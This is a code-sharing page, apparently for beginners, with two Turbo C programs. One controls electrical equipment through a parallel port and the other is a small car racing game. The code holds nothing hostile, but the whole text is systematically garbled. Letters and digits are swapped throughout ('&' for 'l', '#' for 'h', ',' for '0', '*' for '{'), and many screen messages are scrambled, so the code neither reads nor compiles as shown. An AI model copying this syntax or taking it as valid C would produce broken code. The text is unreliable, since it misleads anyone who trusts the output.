gotowy(1,1); printf("%s",sentence); in.#.a#+,w,m; in.#.b#+,; ins.#.a#+,w,C;ins.#.b#+,; for(i+,;i(1<;i//) * ro%+,;co&+,; for(9+,;9(@$,;9//) * in.w.dw+i; in.w.cw+9; ins.#.a&+i/1; co&auw+co&."; 00ad9usting tewt %idt# if(co&auw%@$,++,) * ro%/+<<; co&+,; 1 ins.w.cw+co&auw; ins.w.dw+i."/1<,/ro%; 00ad9usting tewt #eig#t;j1<,j:?point %#ere tewt starts int:@(,w1,,&in,&out); if(out.#.a&C+,) int:@(,w1,,&ins,&oust); 00printf("%u,",out.#.a&); co&//; 1 1 getc#(); in.#.a#+,w,,;in.#.a&+";int:@(,w1,,&in,&out); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram -&ectrica& -vuipment Contro& 0Computerised e&ectrica& evupiment contro& system. 00meve&opped by: o5M2B53 E5J-3, 4C5 'inc&ude(stdio.#) 'inc&ude(conio.#) void main() * void tone(void); int p+,w,"=:; c#ar ew7<,8+"Created by o5M2B53 E5J-3 (oE).";

int u; c#ar ew17<,8+ "Erogramming &anguage used is : C"; int m,9,&; c#ar ew!7<,8+"533 2q2J-42 2BMJ mI D 2MCC-22GM33q." ; c#ar ew"7<,8+"JB5Do qIM GIR M2>DK JB>2 2IGJ 5R-."; int u71,8; int i; static a,b,c,d,e,f,g,#; c#ar no; c&rscr(); tewtco&or(1<);gotowy(!,,@); cprintf("CI4EMJ-R>2-m -3-CJR>C53 -pME>4-DJ CIDJRI3"); tewtco&or(11); gotowy(!,,=); cprintf("?????????????????????????????????????????"); tewtco&or(A); gotowy(1,,1,); cprintf("-pM>E4-DJ DI. 1 ! " $ < @ = :"); tewtco&or(A); gotowy(1,,1!); cprintf("2J5JM2 %d %d %d %d %d %d %d %d",a,b,c,d,e,f,g,#); tewtco&or(1,); gotowy(1$,1@); cprintf("GIR jIDj5Dm jIGGj ER-22 CIR-22EIDm>DK -pM>E4-DJ DM4l-R."); tewtco&or(1");gotowy(!<,1:); cprintf("2J5JM2 , + IGG 2J5JM2 1 + ID"); tewtco&or(1!); gotowy("!,!!); cprintf("GIR -6>J ER-22 j-j"); no+getc#(); s%itc#(no) * case j1j: a+Ca; tone(); outportb(p,1); de&ay(<,,); outportb(p,,); breau; case j!j: b+Cb; tone(); outport(p,!); de&ay(<,,); outportb(p,,); breau; case j"j:

c+Cc; tone(); outport(p,$); de&ay(<,,); outportb(p,,); breau; case j$j: d+Cd; tone(); outport(p,:); de&ay(<,,); outportb(p,,); breau; case j<j: e+Ce; tone(); outport(p,1@); de&ay(<,,); outportb(p,,); breau; case j@j: f+Cf; tone(); outport(p,"!); de&ay(<,,); outportb(p,,); breau; case j=j: g+Cg; tone(); outport(p,@$); de&ay(<,,); outportb(p,,); breau; case j:j: #+C#; tone(); outport(p,1!:); de&ay(<,,); outportb(p,,); breau;

case jej: if((a;;b;;c;;d;;e;;f;;g;;#)++1) * c&rscr(); tewtco&or(1"); gotowy(!,,1!); cprintf(" 5RD>DK:E3-52- 2BMJ mI D 533 JB- -pM>E4-DJ2C"); sound(!,,); de&ay(:<,,); nosound(); breau; 1 e&se * c&rscr(); for(9+,;9("<;9//) * tewtco&or(1"); gotowy(!,/9,1!); cprintf("%c",ew798); sound(",,,/9); de&ay(",); nosound(); 1 for(m+,;m($,;m//) * tewtco&or(1,); gotowy(!,/m,1"); cprintf("%c",ew"7m8); sound(1:,,/m); de&ay(",); nosound(); 1 for(u+,;u("$;u//) * tewtco&or($); gotowy(!,/u,1$); cprintf("%c",ew17u8); sound(!,,,/u); de&ay(",); nosound(); 1 for(&+,;&($,;&//) * tewtco&or("); gotowy(!,/&,1<); cprintf("%c",ew!7&8); sound(!<,,/&);

de&ay(",); nosound(); 1 %indo%(1,, 1,, :,, !<); printf("ER-22 5Dq o-q."); getc#(); outportb(p,,); ewit(,); 1 case j-j: if((a;;b;;c;;d;;e;;f;;g;;#)++1) * c&rscr(); tewtco&or(1,); gotowy(!,,1!); cprintf("E3-52- 2BMJ mI D 533 JB- -pM>E4-DJ2."); sound(!,,); de&ay(<,,); nosound(); de&ay(",,,); breau; 1 e&se * c&rscr(); for(9+,;9(!";9//) * tewtco&or(<); gotowy(!,/9,1!); cprintf("%c",ew798); sound(",,,/9); de&ay(",); nosound(); 1 for(m+,;m(!";m//) * tewtco&or("); gotowy(!,/m,1"); cprintf("%c",ew"7m8); sound(1:,,/m); de&ay(",); nosound(); 1 for(u+,;u("$;u//) * tewtco&or(11); gotowy(!,/u,1$);

cprintf("%c",ew17u8); sound(!,,,/u); de&ay(",); nosound(); 1 for(&+,;&($,;&//) * tewtco&or(1!); gotowy(!,/&,1<); cprintf("%c",ew!7&8); sound(!<,,/&); de&ay(",); nosound(); 1 tewtco&or(1!/l3>Do); gotowy($,,$,); cprintf("ER-22 5Dq o-q."); getc#(); outportb(p,,); ewit(,); 1 defau&t: c&rscr(); sound(<,,); de&ay(1,,); nosound(); tewtco&or(A); gotowy(",,1!); cprintf(">DL53>m o-q ER-22-m."); tewtco&or(11); gotowy("",1$); cprintf(" 5>J GIR ! 2-CIDm2."); de&ay(",,,); breau; 1 main(); 1 void tone(void) * sound(1,,,); de&ay(1,,); nosound(); 1 Do comments: Category : Bard%are interaction t#roug# C, Erogram 5 Car Racing Kame ( 4ini Ero9ect in C ) 0.

3anguage: CNC// (Jo convert to C, 9ust c#ange cout to printf and cin to scanf and c#ange t#e &ibrary fi&es) Category: KamesNKrap#ics mescription: R5C- CR5r-::5 car racing game. qou #ave to reac# t#e finis# &ine before t#e time goes out. J#ere are many #urd&es in your %ay. 2o be carefu&. .0 'inc&ude (iostream.#) 'inc&ude (dos.#) 'inc&ude (grap#ics.#) 'inc&ude (conio.#) 'inc&ude (std&ib.#) 'inc&ude (stdio.#) 'inc&ude (time.#) 'inc&ude (ctype.#) c&ass car * private: int w1,y1,w!,y!,co&,co&!,co&"; pub&ic: car():w1(!,,),y1(",,),w!(!=,),y!(!,,),co&($) *1 car(int a,int b,int c,int d,int e,int f,int g):w1(a),y1(b),w!(c),y!(d),co&(e),co&!(f),co&"(g) *1 void get(int a,int b,int c,int d,int e,int f,int g) * w1+a; y1+b; w!+c; y!+d; co&+e; co&!+f; co&"+g; if (w1(+1:,) * sound(1,,,); w1+!,,; w!+!=,; 1 if (w!)+$",) *

sound(1,,,); w1+"$,; w!+$1,; 1 1 void dra%() * setco&or(co&); setfi&&sty&e(1,co&); rectang&e(w1,y1,w!,y!); 00car body f&oodfi&&(w1/1,,y!/1,,co&); setco&or(co&!); 00%indo%s setfi&&sty&e(!,co&!); rectang&e(w1/1,,y1?=,,w!?1,,y!/1,); f&oodfi&&(w1/1<,y!/1<,co&!); rectang&e(w1/1,,y1?1,,w!?1,,y!/=,); f&oodfi&&(w1/1<,y1?1<,co&!); setco&or(co&"); 00%#ee&s setfi&&sty&e(1,co&"); rectang&e(w1?1,,y!/<,w1,y!/!,); f&oodfi&&(w1?$,y!/1!,co&"); rectang&e(w!,y!/<,w!/1,,y!/!,); f&oodfi&&(w!/$,y!/1!,co&"); rectang&e(w1?1</1,y1?!<,w1,y1?<); f&oodfi&&(w1?1,,y1?!,,co&"); rectang&e(w!,y1?!<,w!/1<,y1?<); f&oodfi&&(w!/$,y1?!,,co&"); 1 void co&&ide(int co&) * setco&or(co&); setfi&&sty&e(1,co&); &ine(w1?<,y!?",w1,y!); &ine(w1?<,y!?<,w1,y!?<); &ine(w1?<,y!?",w1?<,y!?<); &ine(w1,y!?<,w1/<,y!?"); &ine(w1/<,y!?",w1/1,,y!?1<); &ine(w1/1,,y!?1<,w1/!,,y!?"); &ine(w1/!,,y!?",w1/",,y!?1,); &ine(w1/",,y!?1,,w1/"<,y!?"); &ine(w1/"<,y!?",w1/$<,y!?1!); &ine(w1/$<,y!?1!,w1/<<,y!?"); &ine(w1/<<,y!?",w1/@,,y!?1,); &ine(w1/@,,y!?1,,w1/=,,y!?"); &ine(w1/=,,y!?",w1/=$,y!?:); &ine(w1/=$,y!?:,w1/=,,y!);

&ine(w1,y!,w1/=,,y!); f&oodfi&&(w1/",,y!?1,co&); &ine(w1?<,y1/",w1,y1); &ine(w1?<,y1/<,w1,y1/<); &ine(w1?<,y1/",w1?<,y1/<); &ine(w1,y1/<,w1/<,y1/"); &ine(w1/<,y1/",w1/1,,y1/1<); &ine(w1/1,,y1/1<,w1/!,,y1/"); &ine(w1/!,,y1/",w1/",,y1/1,); &ine(w1/",,y1/1,,w1/"<,y1/"); &ine(w1/"<,y1/",w1/$<,y1/1!); &ine(w1/$<,y1/1!,w1/<<,y1/"); &ine(w1/<<,y1/",w1/@,,y1/1,); &ine(w1/@,,y1/1,,w1/=,,y1/"); &ine(w1/=,,y1/",w1/=$,y1/:); &ine(w1/=$,y1/:,w1/=,,y1); &ine(w1,y1,w1/=,,y1); f&oodfi&&(w1/",,y1/1,co&); 1 1; c&ass obstac&e * private: int w,y,co&; pub&ic: obstac&e():w(,),y(,),co&(,) *1 obstac&e(int a,int b,int c):w(a),y(b),co&(c) *1 void get(int a,int b,int c) * w+a; y+b; co&+c; 1 void dra%() * setco&or(co&); setfi&&sty&e(1,co&); circ&e(w,y,!,); f&oodfi&&(w,y,co&); 1 1;

c&ass timer * private: int sec,min,ms,f&ag; pub&ic: timer():min(,),sec(,),ms(,),f&ag(,) *1 timer(int a,int b,int c,int d):min(a),sec(b),ms(c),f&ag(d) *1 void start() * min+sec+ms+f&ag+,; 1 void get() * settewtsty&e(1,,,1); c#ar. minn; if (min)A) * int minnn+min01,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(!,,1,,,minn); setco&or(,); outtewtwy(!,,1,,,minn); 1

if (min)A) * int minnn+min%1,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(",,1,,,minn); setco&or(,); outtewtwy(",,1,,,minn); 1 if (min(+A) * int minnn+min; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=)

minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(!,,1,,,minn); setco&or(,); outtewtwy(!,,1,,,minn); 1 setco&or(1<); outtewtwy($,,1,,,":"); if (sec)A) * int minnn+sec01,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(<,,1,,,minn); setco&or(,); outtewtwy(<,,1,,,minn); 1 if (sec)A) * int minnn+sec%1,; if (minnn++,) minn+","; if (minnn++1)

minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(@,,1,,,minn); setco&or(,); outtewtwy(@,,1,,,minn); 1 if (sec(+A) * int minnn+sec; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<);

outtewtwy(<,,1,,,minn); setco&or(,); outtewtwy(<,,1,,,minn); 1 setco&or(1<); outtewtwy(=,,1,,,":"); if (ms)A) * int minnn+ms01,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(:,,1,,,minn); setco&or(,); outtewtwy(:,,1,,,minn); 1 if (ms)A) * int minnn+ms%1,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$)

minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(A,,1,,,minn); setco&or(,); outtewtwy(A,,1,,,minn); 1 if (ms(+A) * int minnn+ms; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(:,,1,,,minn); setco&or(,); outtewtwy(:,,1,,,minn); 1 1 void time()

* ms//; if (ms++1,,) * ms+,; sec//; 1 if (sec++@,) * sec+,; min//; 1 1 int minutes() * return min; 1 void timego() * ms+,; sec/+",; if (sec)@,) * sec+,; min//; 1 1 1; void grass() * setco&or(1,); setfi&&sty&e(1,1,); rectang&e(,,,,1:,,$,,); f&oodfi&&(1,,1,,,1,); rectang&e($",,,,@,,,$,,); f&oodfi&&($:,,1,,,1,); setco&or(<); settewtsty&e(:,,,"); outtewtwy($$,,<,,"R5C- CR5r-"); setco&or(,); setfi&&sty&e(1,,); settewtsty&e(=,,,!); outtewtwy(!,,@,,"J>4-R"); rectang&e(!,,1,,,1<,,1",); f&oodfi&&(@,,1!,,,); settewtsty&e(=,,,!);

outtewtwy(!,,!@,,"4>3-2"); rectang&e(!,,",,,1<,,"",); f&oodfi&&(@,,"!,,,); 1 void tracu(int n,int co&&) * setco&or(co&&); setfi&&sty&e(1,co&&); rectang&e(",,,n,"1,,<,/n); f&oodfi&&(",!,1,/n,co&&); rectang&e(",,,1,,/n,"1,,1<,/n); f&oodfi&&(",!,11,/n,co&&); rectang&e(",,,!,,/n,"1,,!<,/n); f&oodfi&&(",!,!1,/n,co&&); rectang&e(",,,",,/n,"1,,"<,/n); f&oodfi&&(",!,"1,/n,co&&); rectang&e(",,,$,,/n,"1,,$<,/n); f&oodfi&&(",!,$1,/n,co&&); rectang&e(",,,<,,/n,"1,,<<,/n); f&oodfi&&(",!,<1,/n,co&&); rectang&e(",,,@,,/n,"1,,@<,/n); f&oodfi&&(",!,@1,/n,co&&); rectang&e(",,,=,,/n,"1,,=<,/n); f&oodfi&&(",!,=1,/n,co&&); 1 void main() * int driver,mode; driver+-K5; mode+-K5B>; initgrap#(&driver,&mode,"c:NNtcNNbgi"); car c,c1; obstac&e o; timer J; int i,9+!,,,u+!,,; int t+?!,,,f&g+,; timeHt tt,ttt; c.get(u,9/1,,,u/=,,9,$,",:); c.dra%(); grass(); tracu(t,1<); randomixe(); int r+,,r1,&+<,; int mi&es+,,mi&+,; int stage+1,; getc#();

do * J.get(); i+,; if (ub#it()) i+getc#(); J.time(); c#ar. minn; settewtsty&e(1,,,1); if (mi&es)AA) * int minnn+mi&es01,,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(",,"1,,minn); setco&or(,); outtewtwy(",,"1,,minn); 1 if (mi&es)AA) * int minnn+mi&es%1,,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!";

if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy($,,"1,,minn); setco&or(,); outtewtwy($,,"1,,minn); 1 if (mi&es)A) * int minnn+mi&es01,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy($,,"1,,minn); setco&or(,); outtewtwy($,,"1,,minn);

1 if (mi&es)A) * int minnn+mi&es%1,; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@"; if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy(<,,"1,,minn); setco&or(,); outtewtwy(<,,"1,,minn); 1 if (mi&es(+A) * int minnn+mi&es; if (minnn++,) minn+","; if (minnn++1) minn+"1"; if (minnn++!) minn+"!"; if (minnn++") minn+"""; if (minnn++$) minn+"$"; if (minnn++<) minn+"<"; if (minnn++@) minn+"@";

if (minnn++=) minn+"="; if (minnn++:) minn+":"; if (minnn++A) minn+"A"; setco&or(1<); outtewtwy($,,"1,,minn); setco&or(,); outtewtwy($,,"1,,minn); 1 if (f&g++,) * randomixe(); srand((unsigned) time(&ttt)); r+rand()%"; if (r++!) * randomixe(); r1+random(1,)%!; &+1,,; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,<,@,=): c1.get(""<,&/stage,$,<,&/stage?1,,,<,@,=); c1.dra%(); f&g+!; 1 1 sound(mi&es/1,,); if (i++=<) * c.get(u,9/1,,,u/=,,9,,,,,,); c.dra%(); u+!,,; c.get(u,9/1,,,u/=,,9,$,",:); if (f&g++1) * c1.co&&ide(1$); c.co&&ide(1$); de&ay(<,,); c1.co&&ide(,); c.co&&ide(,); f&g+"; J.timego();

1 c.dra%(); 1 if (i++1<<) * c.get(u,9/1,,,u/=,,9,,,,,,); c.dra%(); u+!,,; c.get(u,9/1,,,u/=,,9,$,",:); if (f&g++1) * c1.co&&ide(1$); c.co&&ide(1$); de&ay(<,,); c1.co&&ide(,); c.co&&ide(,); f&g+"; J.timego(); 1 c.dra%(); 1 if (i++==) * c.get(u,9/1,,,u/=,,9,,,,,,); c.dra%(); u+""<; c.get(u,9/1,,,u/=,,9,$,",:); if (f&g++1) * c1.co&&ide(1$); c.co&&ide(1$); de&ay(<,,); c1.co&&ide(,); c.co&&ide(,); f&g+"; J.timego(); 1 c.dra%(); 1 if (i++1<=) * c.get(u,9/1,,,u/=,,9,,,,,,); c.dra%(); u+""<; c.get(u,9/1,,,u/=,,9,$,",:); if (f&g++1)

* c1.co&&ide(1$); c.co&&ide(1$); de&ay(<,,); c1.co&&ide(,); c.co&&ide(,); J.timego(); f&g+"; 1 c.dra%(); 1 if (i++=!) * mi&/+1; tracu(t,,); (t)=,)Ft+?!,,:t/+<; tracu(t,1<); if ((&/stage))+!,, && (&/stage)(+",,) * if (r1++, && u++!,,) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,): c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se if (r1++1 && u++""<) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,): c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se f&g+!; 1 if (f&g++1) * c.co&&ide(1$); c1.co&&ide(1$); f&g+,; de&ay(1,,,);

c.co&&ide(,); c1.co&&ide(,); c.get(u,9/1,,,u/=,,9,$,",:); c.dra%(); J.timego(); 1 if (f&g++!) * (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,): c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); &+&/<; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,<,@,=) :c1.get(""<,&/stage,$,<,&/stage?1,,,<,@,=); c1.dra%(); if (&/stage)",,) f&g+"; 1 1 if (i++1<!) * mi&/+!; tracu(t,,); (t)=,)Ft+?!,,:t/+!,; tracu(t,1<); if (&/stage)+!,, && &/stage(+",,) * if (r1++, && u++!,,) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,): c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se if (r1++1 && u++""<) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,): c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,);

c1.dra%(); 1 e&se f&g+!; 1 if (f&g++1) * c.co&&ide(1$); c1.co&&ide(1$); f&g+,; de&ay(1,,,); c.co&&ide(,); c1.co&&ide(,); c.get(u,9/1,,,u/=,,9,$,",:); c.dra%(); J.timego(); 1 if (f&g++!) * (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); &/+1,; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,<,@,=) :c1.get(""<,&/stage,$,<,&/stage?1,,,<,@,=); c1.dra%(); if (&/stage)",,) f&g+"; 1 1 if (i++:,) * mi&?+1; tracu(t,,); (t(?"=,)Ft+?!,,:t?+<; tracu(t,1<); if (&/stage)+!,, && &/stage(+",,) * if (r1++, && u++!,,) * f&g+1;

(r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se if (r1++1 && u++""<) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se f&g+!; 1 if (f&g++1) * c.co&&ide(1$); c1.co&&ide(1$); f&g+,; de&ay(1,,,); c.co&&ide(,); c1.co&&ide(,); c.dra%(); J.timego(); 1 if (f&g++!) * (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); &+&?<; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,<,@,=) :c1.get(""<,&/stage,$,<,&/stage?1,,,<,@,=); c1.dra%(); if (&/stage)",,) f&g+"; 1

1 if (i++1@,) * mi&?+!; tracu(t,,); (t(?"=,)Ft+?!,,:t?+!,; tracu(t,1<); if (&/stage)+!,, && &/stage(+",,) * if (r1++, && u++!,,) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se if (r1++1 && u++""<) * f&g+1; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); 1 e&se f&g+!; 1 if (f&g++1) * c.co&&ide(1$); c1.co&&ide(1$); f&g+,; de&ay(1,,,); c.co&&ide(,); c1.co&&ide(,); c.dra%(); J.timego(); 1 if (f&g++!) * (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,);

c1.dra%(); &+&?1,; (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,<,@,=) :c1.get(""<,&/stage,$,<,&/stage?1,,,<,@,=); c1.dra%(); if (&/stage)",,) f&g+"; 1 1 if (f&g++") * (r1++,)Fc1.get(!,,,&/stage,!=,,&/stage?1,,,,,,,,) :c1.get(""<,&/stage,$,<,&/stage?1,,,,,,,,); c1.dra%(); f&g+,; 1 if (i++"!) * sound(!,,,); de&ay(!,,); 1 nosound(); if (mi&)$) * mi&es/+1; mi&+,; 1 if (mi&(?$) * mi&es?+1; mi&+,; 1 if (mi&es)+1,,,) breau; 1%#i&e(iC+jNrj); if (mi&es)+1,,,) * sound(",,,); c&earvie%port(); settewtsty&e(:,,,1); int i+J.minutes();

if (i(:) outtewtwy(<,,1,,,"CIDKR5JM35J>ID2C N qou #ave %on t#e competetion"); e&se outtewtwy(<,,1,,,"2IRRqC qou fe&& N out of time"); de&ay(1,,,); getc#(); nosound(); 1 1

You might also like